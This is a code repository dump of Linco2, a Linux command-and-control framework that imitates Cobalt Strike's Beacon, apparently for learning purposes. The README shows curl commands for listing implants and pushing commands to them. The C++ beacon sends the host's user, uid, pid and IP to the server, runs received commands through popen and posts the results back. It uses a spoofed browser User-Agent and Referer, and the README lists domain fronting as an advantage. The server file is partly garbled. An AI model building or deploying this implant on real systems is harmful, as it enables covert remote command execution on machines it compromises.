├── .gitignore ├── CMakeLists.txt ├── LICENSE ├── README.md ├── _config.yml ├── image └── 2020-03-29-07-12-25.png ├── makefile ├── server ├── __pycache__ │ └── beacon.cpython-37.pyc ├── beacon.py └── webserver.py └── src ├── Beacon.cpp ├── b64.c └── include ├── Beacon.h └── b64.h /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | __pycache__ 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | .gitignore 10 | .vscode 11 | .idea 12 | # Precompiled Headers 13 | *.gch 14 | *.pch 15 | cmake-build-debug 16 | ./beacon 17 | # Compiled Dynamic libraries 18 | *.so 19 | *.dylib 20 | *.dll 21 | 22 | # Fortran module files 23 | *.mod 24 | *.smod 25 | 26 | # Compiled Static libraries 27 | *.lai 28 | *.la 29 | *.a 30 | *.lib 31 | 32 | # Executables 33 | *.exe 34 | *.out 35 | *.app 36 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.15) 2 | PROJECT(beacon) 3 | INCLUDE_DIRECTORIES(src/include) 4 | ADD_EXECUTABLE(${PROJECT_NAME} src/Beacon.cpp src/b64.c) -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Rvn0xsy 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Linco2 2 | 3 | 模拟Cobalt Strike的Beacon与C2通信过程,实现了基于HTTP协议的Linux C2,客户端可以通过curl就能下发Beacon任务。 4 | 5 | **本项目旨在交流编程技术,初衷未曾想把它作为一个超大项目进行开发。** 6 | 7 | > 由于对开源库依赖很少,因此不需要在上线机器上安装库,兼容性较强。 8 | 9 | 10 | ![](/image/2020-03-29-07-12-25.png) 11 | 12 | ## 构建方法 13 | 14 | ``` 15 | $ git clone https://github.com/Rvn0xsy/Linco2.git 16 | $ cd Linco2 17 | $ make 18 | $ pip3 install flask 19 | $ python3 server/webserver.py 20 | ``` 21 | 22 | 最后执行`Linco2`目录下的`beacon`即可上线。 23 | 24 | ## 使用方式 25 | 26 | ## 查看上线主机 27 | 28 | `curl http://127.0.0.1:5000/beacons/` 29 | 30 | ``` 31 | root@kali:~# curl http://127.0.0.1:5000/beacons/ 32 | [ 33 | { 34 | "HASH": "1540", 35 | "IP": [ 36 | "127.0.0.1" 37 | ], 38 | "LAST_HEARTBEART": 2, 39 | "PID": "1540", 40 | "TIMEOUT": "1", 41 | "UID": "0", 42 | "USERNAME": "root" 43 | }, 44 | { 45 | "HASH": "35395", 46 | "IP": "127.0.0.1|192.168.3.145|172.17.0.1|127.0.0.1", 47 | "LAST_HEARTBEART": 1585479717, 48 | "PID": "35395", 49 | "TIMEOUT": "1", 50 | "UID": "0", 51 | "USERNAME": "root" 52 | } 53 | ] 54 | 55 | ``` 56 | 57 | 其中`HASH`与`PID`相等,我通过PID来作为beacon的唯一性判定标准,这样就能对指定的beacon下发任务。 58 | 59 | 60 | 61 | 62 | ## 下发任务 63 | 64 | `curl -X POST --data "task_data=id&task_type=1&beacon_id=35395" http://127.0.0.1:5000/push_task/` 65 | 66 | 67 | 68 | 69 | ``` 70 | root@kali:~# curl -X POST --data "task_data=id&task_type=1&beacon_id=35395" http://127.0.0.1:5000/push_task/ 71 | { 72 | "msg": "Success", 73 | "status": 0 74 | } 75 | ``` 76 | 77 | ## 查看任务队列 78 | 79 | 80 | `curl http://127.0.0.1:5000/tasks/` 81 | 82 | ``` 83 | root@kali:~# curl http://127.0.0.1:5000/tasks/[ 84 | { 85 | "BEACON_ID": "1540", 86 | "HANDLE": true, 87 | "TASK_DATA": "id", 88 | "TASK_ID": 0, 89 | "TASK_RESPONSE": "", 90 | "TASK_TYPE": 1 91 | }, 92 | { 93 | "BEACON_ID": "35395", 94 | "HANDLE": true, 95 | "TASK_DATA": "id", 96 | "TASK_ID": "205e9cfe-5696-473c-9eca-e6eb2959ed37", 97 | "TASK_RESPONSE": "uid=0(root) gid=0(root) groups=0(root) ", 98 | "TASK_TYPE": "1" 99 | }, 100 | { 101 | "BEACON_ID": "35395", 102 | "HANDLE": true, 103 | "TASK_DATA": "id", 104 | "TASK_ID": "63c9dab5-0931-4e4c-a3c6-7b405574f00c", 105 | "TASK_RESPONSE": "uid=0(root) gid=0(root) groups=0(root) ", 106 | "TASK_TYPE": "1" 107 | } 108 | ] 109 | 110 | ``` 111 | 112 | ## 优点 113 | 114 | 115 | - HTTP协议通信(能够很方便的域前置) 116 | - 纯HTTP接口控制 117 | 118 | 不足点: 119 | 120 | - 暂无心跳更改功能 121 | - 协议暂时纯明文 122 | 123 | 124 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-minimal -------------------------------------------------------------------------------- /image/2020-03-29-07-12-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rvn0xsy/Linco2/1e5f47d454b69aef7dec88c26c5443317efd7415/image/2020-03-29-07-12-25.png -------------------------------------------------------------------------------- /makefile: -------------------------------------------------------------------------------- 1 | object=src/Beacon.cpp src/b64.c src/include/b64.h src/include/Beacon.h 2 | 3 | beacon: $(object) 4 | g++ $(object) -o beacon 5 | -------------------------------------------------------------------------------- /server/__pycache__/beacon.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rvn0xsy/Linco2/1e5f47d454b69aef7dec88c26c5443317efd7415/server/__pycache__/beacon.cpython-37.pyc -------------------------------------------------------------------------------- /server/beacon.py: -------------------------------------------------------------------------------- 1 | import time 2 | import struct 3 | from base64 import b64decode, b64encode 4 | import socket 5 | 6 | # UID -> I 7 | # PID -> I 8 | # IP -> I 9 | # USERNAME -> 40s 10 | 11 | struct_unpack_format = " g_headers = { 12 | "Host: 127.0.0.1:5000\r\n", 13 | "Connection: keep-alive\r\n", 14 | "Accept: */*\r\n", 15 | "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36\r\n", 16 | "Referer: https://baidu.com/s?ie=utf-8&wd=\r\n", 17 | "\r\n", 18 | }; 19 | 20 | 21 | std::string task_exec_command(std::string data){ 22 | FILE * fp; 23 | char * ret = NULL; 24 | char * buffer = NULL; 25 | std::string result; 26 | fp=popen(data.data(), "r"); 27 | do{ 28 | buffer = (char *)calloc(80,sizeof(char)); 29 | ret = fgets(buffer,sizeof(buffer),fp); 30 | result.append(buffer); 31 | free(buffer); 32 | }while(ret != NULL); 33 | pclose(fp); 34 | return result; 35 | } 36 | 37 | 38 | /** 39 | * 40 | * 41 | * Handle task 42 | * 43 | * 44 | */ 45 | 46 | std::string handle_task(Task_PACK task , std::string task_data){ 47 | std::string task_result; 48 | switch (task.task_type) 49 | { 50 | case EXEC_COMMAND: 51 | /* code */ 52 | task_result = task_exec_command(task_data); 53 | std::cout << task_result << std::endl; 54 | break; 55 | default: 56 | break; 57 | } 58 | return task_result; 59 | } 60 | 61 | std::string find_value_by_key(std::string data, std::string key){ 62 | size_t pos = 0, temp_pos = 0; 63 | std::string result; 64 | do{ 65 | std::string temp_str; 66 | pos = data.find("&",pos); // find & split str 67 | if(pos == std::string::npos){ 68 | temp_str = data.substr(temp_pos); 69 | }else{ 70 | temp_str = data.substr(temp_pos, pos - temp_pos); 71 | pos++; 72 | temp_pos = pos; 73 | } 74 | size_t k_pos = temp_str.find("="); 75 | if(k_pos == std::string::npos){ 76 | result = temp_str; 77 | break; 78 | }else{ 79 | std::string keyname = temp_str.substr(0, k_pos); 80 | if(keyname == key){ 81 | result = temp_str.substr(k_pos+1); 82 | return result; 83 | } 84 | } 85 | }while(pos != std::string::npos); 86 | return result; 87 | } 88 | 89 | 90 | /** 91 | * 92 | * get task data and task type by http response 93 | * 94 | */ 95 | Task_PACK get_task(std::string response, std::string & task_data){ 96 | int task_int; 97 | Task_PACK task_pack; 98 | task_pack.task_type = NO_TASK; 99 | std::string task_type_str; 100 | task_type_str = find_value_by_key(response, "type"); // find task_type 101 | if(task_type_str.empty()){ 102 | return task_pack; 103 | } 104 | task_int = std::stoi(task_type_str); 105 | // set task type by response 106 | switch (task_int) 107 | { 108 | case 1: 109 | task_pack.task_type = EXEC_COMMAND; 110 | std::cout << "[TASK TYPE]: EXEC_COMMAND" << std::endl; 111 | break; 112 | case 2: 113 | task_pack.task_type = SET_TIMEOUT; 114 | std::cout << "[TASK TYPE]: SET_TIMEOUT" << std::endl; 115 | default: 116 | task_pack.task_type = NO_TASK; 117 | std::cout << "[TASK TYPE]: NO_TASK" << std::endl; 118 | return task_pack; 119 | } 120 | // find task data 121 | task_data = find_value_by_key(response, "data"); 122 | if(task_data.empty()){ 123 | task_pack.task_type = NO_TASK; 124 | return task_pack; 125 | } 126 | std::cout << "[TASK DATA]: "<< task_data << std::endl; 127 | task_pack.task_id = find_value_by_key(response, "task_id"); 128 | std::cout << "[TASK ID]: "<< task_pack.task_id << std::endl; 129 | return task_pack; 130 | } 131 | 132 | // 获取第一个IP 133 | unsigned int get_local_ip() { 134 | std::vector iplist; 135 | unsigned int addr = 0; 136 | struct ifaddrs *ifAddrStruct, * ifaddrs; 137 | getifaddrs(&ifAddrStruct); 138 | ifaddrs = ifAddrStruct; 139 | while(ifaddrs->ifa_next != NULL){ 140 | if(ifaddrs->ifa_addr->sa_family == AF_INET) { 141 | struct sockaddr_in *s = (struct sockaddr_in *) ifaddrs->ifa_addr; 142 | addr = ntohl(s->sin_addr.s_addr); 143 | } 144 | ifaddrs = ifaddrs->ifa_next; 145 | } 146 | freeifaddrs(ifAddrStruct); 147 | return addr; 148 | } 149 | 150 | int check_socket_alive(int sock){ 151 | fd_set rd; 152 | struct timeval tv; 153 | int err; 154 | FD_ZERO(&rd); 155 | FD_SET(sock,&rd); 156 | tv.tv_sec = CHECK_ALIVE_TIMEOUT; 157 | tv.tv_usec = 0; 158 | err = select(sock+1,&rd,&rd,NULL,&tv); 159 | if(err == 0) //超时 160 | { 161 | return err; 162 | } 163 | else if(err == -1) //失败 164 | { 165 | return err; 166 | } 167 | else //成功 168 | { 169 | return 1; 170 | } 171 | } 172 | 173 | int send_task_result(int sock, std::string task_id ,std::string task_result){ 174 | std::vector temp_headers = g_headers; 175 | send_post_msg(sock, g_task_uri.c_str()); 176 | std::string result = "task_id=" + task_id + "&task_data=" + task_result; 177 | std::string content_length_str = "Content-Length: " + std::to_string(result.length()) + "\r\n"; 178 | temp_headers.insert(temp_headers.end()-1, content_length_str); 179 | temp_headers.insert(temp_headers.end()-1, "Content-Type: application/x-www-form-urlencoded\r\n"); 180 | temp_headers.insert(temp_headers.end(), result); 181 | send_header_msg(sock, temp_headers); 182 | return 0; 183 | } 184 | 185 | /* 186 | * send_beacon_info 187 | */ 188 | int send_beacon_info(int sock){ 189 | 190 | BEACON_META_DATA * beacon_meta_data = new BEACON_META_DATA(); 191 | int ret = 0; 192 | std::string newuri = g_online_uri; 193 | struct passwd *user; 194 | char * meta_data_str = NULL; 195 | 196 | // ******************************************* 197 | beacon_meta_data->ip = get_local_ip(); 198 | beacon_meta_data->uid = getuid(); 199 | beacon_meta_data->pid = getpid(); 200 | user = getpwuid(beacon_meta_data->uid); 201 | // ******************************************* 202 | 203 | int u_len = strlen(user->pw_name); 204 | if(u_len > USERNAME_LEN){ 205 | // 防止缓冲区溢出 206 | u_len = USERNAME_LEN -1; 207 | } 208 | strncpy(beacon_meta_data->username, user->pw_name, u_len); 209 | meta_data_str = b64_encode((unsigned char *)beacon_meta_data, sizeof(BEACON_META_DATA)); 210 | newuri.append("?data="); 211 | newuri.append(meta_data_str); 212 | std::cout << "[+]URI : " << newuri << std::endl; 213 | ret = send_get_msg(sock, newuri.data()); 214 | send_header_msg(sock, g_headers); 215 | free(meta_data_str); 216 | meta_data_str = NULL; 217 | return ret; 218 | } 219 | 220 | 221 | int recv_response(int sock, std::string & response){ 222 | std::string response_data; 223 | fd_set readfd; 224 | struct timeval timeout; 225 | timeout.tv_sec=1; 226 | timeout.tv_usec=0; 227 | int ret = 0; 228 | while(true){ 229 | FD_ZERO(&readfd); 230 | FD_SET(sock,&readfd); 231 | ret = select(sock+1,&readfd,NULL,NULL,&timeout); 232 | if(ret == -1){ 233 | break; 234 | }else if(ret == 0){ 235 | break; 236 | }else if(FD_ISSET(sock,&readfd)){ 237 | char * buffer = new char[RESPONSE_MAX_BUFFER]; 238 | memset(buffer, 0 , RESPONSE_MAX_BUFFER); 239 | ret = recv(sock, buffer, RESPONSE_MAX_BUFFER, 0); 240 | response.append(buffer); 241 | delete buffer; 242 | } 243 | } 244 | 245 | std::size_t pos = response.find("\r\n\r\n"); 246 | 247 | if(pos == std::string::npos){ 248 | return -1; 249 | } 250 | response_data = response.substr(pos+4); 251 | response = response_data; 252 | return response.length(); 253 | } 254 | 255 | int send_post_msg(int sock,const char * uri){ 256 | std::string data("POST "); 257 | data.append(uri); 258 | data.append(" HTTP/1.1\r\n"); 259 | return send(sock, data.c_str(), data.length(), 0); 260 | } 261 | 262 | int send_get_msg(int sock,const char * uri){ 263 | std::string data("GET "); 264 | data.append(uri); 265 | data.append(" HTTP/1.1\r\n"); 266 | return send(sock, data.c_str(), data.length(), 0); 267 | } 268 | 269 | int send_header_msg(int sock, std::vector headers){ 270 | for (auto i = headers.begin(); i < headers.end(); ++i) 271 | { 272 | send(sock, i->c_str(), i->length(), 0); 273 | } 274 | return 0; 275 | } 276 | 277 | int connect_socket(const char * host, unsigned int port){ 278 | int sock = socket(AF_INET, SOCK_STREAM, 0); 279 | struct sockaddr_in sockaddr_info; 280 | sockaddr_info.sin_addr.s_addr = inet_addr(host); 281 | sockaddr_info.sin_family = AF_INET; 282 | sockaddr_info.sin_port = htons(port); 283 | if(connect(sock, (struct sockaddr *)&sockaddr_info, sizeof(sockaddr_info)) == 0){ 284 | return sock; 285 | } 286 | return -1; 287 | } 288 | 289 | 290 | 291 | int main(){ 292 | std::string response; 293 | int sock = connect_socket("127.0.0.1",5000); 294 | if(sock < 0){ 295 | std::cout << strerror(errno) << std::endl; 296 | return -1; 297 | } 298 | 299 | while(check_socket_alive(sock) > 0){ 300 | sleep(g_time_alive); 301 | std::string task_data; 302 | std::cout << "[*]HeartBeat " << g_time_alive << std::endl; 303 | send_beacon_info(sock); 304 | int response_data_len = recv_response(sock,response); 305 | if(response_data_len <= 0 ){ 306 | response.clear(); 307 | continue; 308 | } 309 | Task_PACK task = get_task(response, task_data); 310 | if(task.task_type == NO_TASK){ 311 | response.clear(); 312 | continue; 313 | } 314 | task_data = handle_task(task, task_data); 315 | char * encode_data = b64_encode((unsigned char *)task_data.c_str(),task_data.length()); 316 | std::string encode_string = encode_data; 317 | free(encode_data); 318 | encode_data = NULL; 319 | std::cout <<"[+]Send Data : " << task_data.substr(0,30) <<".... " << " Task ID : " << task.task_id << std::endl; 320 | send_task_result(sock, task.task_id, encode_string); 321 | response.clear(); 322 | } 323 | shutdown(sock,SHUT_RDWR); 324 | return 0; 325 | } 326 | 327 | /* 328 | int xmain(){ 329 | 330 | int sock = 0; 331 | sock = connect_socket("127.0.0.1",5000); 332 | std::string response("type=1&data=ifconfig&task_id=11-22-33-44"); 333 | send_task_result(sock,"ssss","wwww"); 334 | recv_response(sock , response); 335 | shutdown(sock,SHUT_RDWR); 336 | return 1; 337 | } 338 | */ 339 | 340 | int txmain(){ 341 | 342 | /* 343 | struct beacon_meta_data * beaconMetaData = new beacon_meta_data(); 344 | memset(beaconMetaData, 0 , sizeof(beaconMetaData)); 345 | strncpy(beaconMetaData->username,"12113",5); 346 | 347 | std::cout << "size of :" << sizeof(beacon_meta_data) << std::endl; 348 | std::cout << b64_encode((unsigned char *)beaconMetaData, sizeof(beacon_meta_data)) << std::endl; 349 | */ 350 | send_beacon_info(1); 351 | 352 | // send_beacon_info(1); 353 | return 0; 354 | } -------------------------------------------------------------------------------- /src/b64.c: -------------------------------------------------------------------------------- 1 | /** 2 | * `decode.c' - b64 3 | * 4 | * copyright (c) 2014 joseph werle 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include "include/b64.h" 11 | 12 | #ifdef b64_USE_CUSTOM_MALLOC 13 | extern void* b64_malloc(size_t); 14 | #endif 15 | 16 | #ifdef b64_USE_CUSTOM_REALLOC 17 | extern void* b64_realloc(void*, size_t); 18 | #endif 19 | 20 | unsigned char * b64_decode (const char *src, size_t len) { 21 | return b64_decode_ex(src, len, NULL); 22 | } 23 | 24 | unsigned char * b64_decode_ex (const char *src, size_t len, size_t *decsize) { 25 | int i = 0; 26 | int j = 0; 27 | int l = 0; 28 | size_t size = 0; 29 | unsigned char *dec = NULL; 30 | unsigned char buf[3]; 31 | unsigned char tmp[4]; 32 | 33 | // alloc 34 | dec = (unsigned char *) b64_malloc(1); 35 | if (NULL == dec) { return NULL; } 36 | 37 | // parse until end of source 38 | while (len--) { 39 | // break if char is `=' or not base64 char 40 | if ('=' == src[j]) { break; } 41 | if (!(isalnum(src[j]) || '+' == src[j] || '/' == src[j])) { break; } 42 | 43 | // read up to 4 bytes at a time into `tmp' 44 | tmp[i++] = src[j++]; 45 | 46 | // if 4 bytes read then decode into `buf' 47 | if (4 == i) { 48 | // translate values in `tmp' from table 49 | for (i = 0; i < 4; ++i) { 50 | // find translation char in `b64_table' 51 | for (l = 0; l < 64; ++l) { 52 | if (tmp[i] == b64_table[l]) { 53 | tmp[i] = l; 54 | break; 55 | } 56 | } 57 | } 58 | 59 | // decode 60 | buf[0] = (tmp[0] << 2) + ((tmp[1] & 0x30) >> 4); 61 | buf[1] = ((tmp[1] & 0xf) << 4) + ((tmp[2] & 0x3c) >> 2); 62 | buf[2] = ((tmp[2] & 0x3) << 6) + tmp[3]; 63 | 64 | // write decoded buffer to `dec' 65 | dec = (unsigned char *) b64_realloc(dec, size + 3); 66 | if (dec != NULL){ 67 | for (i = 0; i < 3; ++i) { 68 | dec[size++] = buf[i]; 69 | } 70 | } else { 71 | return NULL; 72 | } 73 | 74 | // reset 75 | i = 0; 76 | } 77 | } 78 | 79 | // remainder 80 | if (i > 0) { 81 | // fill `tmp' with `\0' at most 4 times 82 | for (j = i; j < 4; ++j) { 83 | tmp[j] = '\0'; 84 | } 85 | 86 | // translate remainder 87 | for (j = 0; j < 4; ++j) { 88 | // find translation char in `b64_table' 89 | for (l = 0; l < 64; ++l) { 90 | if (tmp[j] == b64_table[l]) { 91 | tmp[j] = l; 92 | break; 93 | } 94 | } 95 | } 96 | 97 | // decode remainder 98 | buf[0] = (tmp[0] << 2) + ((tmp[1] & 0x30) >> 4); 99 | buf[1] = ((tmp[1] & 0xf) << 4) + ((tmp[2] & 0x3c) >> 2); 100 | buf[2] = ((tmp[2] & 0x3) << 6) + tmp[3]; 101 | 102 | // write remainer decoded buffer to `dec' 103 | dec = (unsigned char *) b64_realloc(dec, size + (i - 1)); 104 | if (dec != NULL){ 105 | for (j = 0; (j < i - 1); ++j) { 106 | dec[size++] = buf[j]; 107 | } 108 | } else { 109 | return NULL; 110 | } 111 | } 112 | 113 | // Make sure we have enough space to add '\0' character at end. 114 | dec = (unsigned char *) b64_realloc(dec, size + 1); 115 | if (dec != NULL){ 116 | dec[size] = '\0'; 117 | } else { 118 | return NULL; 119 | } 120 | 121 | // Return back the size of decoded string if demanded. 122 | if (decsize != NULL) { 123 | *decsize = size; 124 | } 125 | 126 | return dec; 127 | } 128 | 129 | 130 | char * b64_encode (const unsigned char *src, size_t len) { 131 | int i = 0; 132 | int j = 0; 133 | char *enc = NULL; 134 | size_t size = 0; 135 | unsigned char buf[4]; 136 | unsigned char tmp[3]; 137 | 138 | // alloc 139 | enc = (char *) b64_malloc(1); 140 | if (NULL == enc) { return NULL; } 141 | 142 | // parse until end of source 143 | while (len--) { 144 | // read up to 3 bytes at a time into `tmp' 145 | tmp[i++] = *(src++); 146 | 147 | // if 3 bytes read then encode into `buf' 148 | if (3 == i) { 149 | buf[0] = (tmp[0] & 0xfc) >> 2; 150 | buf[1] = ((tmp[0] & 0x03) << 4) + ((tmp[1] & 0xf0) >> 4); 151 | buf[2] = ((tmp[1] & 0x0f) << 2) + ((tmp[2] & 0xc0) >> 6); 152 | buf[3] = tmp[2] & 0x3f; 153 | 154 | // allocate 4 new byts for `enc` and 155 | // then translate each encoded buffer 156 | // part by index from the base 64 index table 157 | // into `enc' unsigned char array 158 | enc = (char *) b64_realloc(enc, size + 4); 159 | for (i = 0; i < 4; ++i) { 160 | enc[size++] = b64_table[buf[i]]; 161 | } 162 | 163 | // reset index 164 | i = 0; 165 | } 166 | } 167 | 168 | // remainder 169 | if (i > 0) { 170 | // fill `tmp' with `\0' at most 3 times 171 | for (j = i; j < 3; ++j) { 172 | tmp[j] = '\0'; 173 | } 174 | 175 | // perform same codec as above 176 | buf[0] = (tmp[0] & 0xfc) >> 2; 177 | buf[1] = ((tmp[0] & 0x03) << 4) + ((tmp[1] & 0xf0) >> 4); 178 | buf[2] = ((tmp[1] & 0x0f) << 2) + ((tmp[2] & 0xc0) >> 6); 179 | buf[3] = tmp[2] & 0x3f; 180 | 181 | // perform same write to `enc` with new allocation 182 | for (j = 0; (j < i + 1); ++j) { 183 | enc = (char *) b64_realloc(enc, size + 1); 184 | enc[size++] = b64_table[buf[j]]; 185 | } 186 | 187 | // while there is still a remainder 188 | // append `=' to `enc' 189 | while ((i++ < 3)) { 190 | enc = (char *) b64_realloc(enc, size + 1); 191 | enc[size++] = '='; 192 | } 193 | } 194 | 195 | // Make sure we have enough space to add '\0' character at end. 196 | enc = (char *) b64_realloc(enc, size + 1); 197 | enc[size] = '\0'; 198 | 199 | return enc; 200 | } -------------------------------------------------------------------------------- /src/include/Beacon.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #define RESPONSE_MAX_BUFFER 500 19 | #define CHECK_ALIVE_TIMEOUT 5 20 | #define HEARTBEAT_TIME 1 21 | #define USERNAME_LEN 40 22 | 23 | enum TASK{ EXEC_COMMAND = 1, SET_TIMEOUT = 2, NO_TASK = 0}; 24 | 25 | 26 | typedef struct tasks_pack 27 | { 28 | /* data */ 29 | std::string task_id; 30 | enum TASK task_type; 31 | }Task_PACK; 32 | 33 | typedef struct beacon_packet 34 | { 35 | /* data */ 36 | std::string uid; 37 | std::string ip; 38 | std::string pid; 39 | std::string uuid; 40 | }beacon; 41 | 42 | #pragma pack(4) 43 | typedef struct beacon_meta_data{ 44 | unsigned int uid; 45 | unsigned int pid; 46 | unsigned int ip; 47 | char username[USERNAME_LEN]; 48 | }BEACON_META_DATA; 49 | #pragma pack() 50 | 51 | int connect_socket(char * host, unsigned int port); 52 | int send_get_msg(int sock,const char * uri); 53 | int send_post_msg(int sock,const char * uri); 54 | int recv_response(int sock, std::string & response); 55 | int send_beacon_info(int sock); 56 | int send_task_result(int sock, std::string task_id ,std::string task_result); 57 | int send_header_msg(int sock, std::vector headers); 58 | unsigned int get_local_ip(); 59 | Task_PACK get_task(std::string response, std::string & task_data); 60 | std::string handle_task(Task_PACK task , std::string task_data); 61 | std::string task_exec_command(std::string data); 62 | std::string find_value_by_key(std::string data, std::string key); 63 | 64 | -------------------------------------------------------------------------------- /src/include/b64.h: -------------------------------------------------------------------------------- 1 | /** 2 | * `b64.h' - b64 3 | * 4 | * copyright (c) 2014 joseph werle 5 | */ 6 | #include 7 | #ifndef B64_H 8 | #define B64_H 1 9 | 10 | /** 11 | * Memory allocation functions to use. You can define b64_malloc and 12 | * b64_realloc to custom functions if you want. 13 | */ 14 | 15 | #ifndef b64_malloc 16 | # define b64_malloc(ptr) malloc(ptr) 17 | #endif 18 | #ifndef b64_realloc 19 | # define b64_realloc(ptr, size) realloc(ptr, size) 20 | #endif 21 | 22 | /** 23 | * Base64 index table. 24 | */ 25 | 26 | static const char b64_table[] = { 27 | 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 28 | 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 29 | 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 30 | 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 31 | 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 32 | 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 33 | 'w', 'x', 'y', 'z', '0', '1', '2', '3', 34 | '4', '5', '6', '7', '8', '9', '+', '/' 35 | }; 36 | 37 | #ifdef __cplusplus 38 | extern "C" { 39 | #endif 40 | 41 | /** 42 | * Encode `unsigned char *' source with `size_t' size. 43 | * Returns a `char *' base64 encoded string. 44 | */ 45 | 46 | char * b64_encode (const unsigned char *, size_t); 47 | 48 | /** 49 | * Decode `char *' source with `size_t' size. 50 | * Returns a `unsigned char *' base64 decoded string. 51 | */ 52 | unsigned char * b64_decode (const char *, size_t); 53 | 54 | /** 55 | * Decode `char *' source with `size_t' size. 56 | * Returns a `unsigned char *' base64 decoded string + size of decoded string. 57 | */ 58 | unsigned char * 59 | b64_decode_ex (const char *, size_t, size_t *); 60 | 61 | #ifdef __cplusplus 62 | } 63 | #endif 64 | 65 | #endif 66 | --------------------------------------------------------------------------------